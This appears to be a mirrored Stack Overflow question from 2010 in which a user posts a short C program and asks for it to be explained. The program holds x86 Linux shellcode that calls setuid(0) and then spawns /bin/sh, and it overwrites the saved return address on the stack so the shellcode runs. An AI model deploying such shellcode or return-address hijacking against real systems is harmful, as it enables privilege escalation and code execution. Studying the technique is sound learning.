can anyone explain this code to me???

Posted by Abed on Stack Overflow See other posts from Stack Overflow or by Abed
Published on 2010-04-24T19:36:00Z Indexed on 2010/04/24 19:43 UTC
Read the original article Hit count: 377

Filed under:
|
|
|
//shellcode.c

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 

int *ret; //ret pointer for manipulating saved return.

ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.

(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.

}

can anyone give me a better explanation

© Stack Overflow or respective owner

Related posts about c

    Related posts about stack-overflow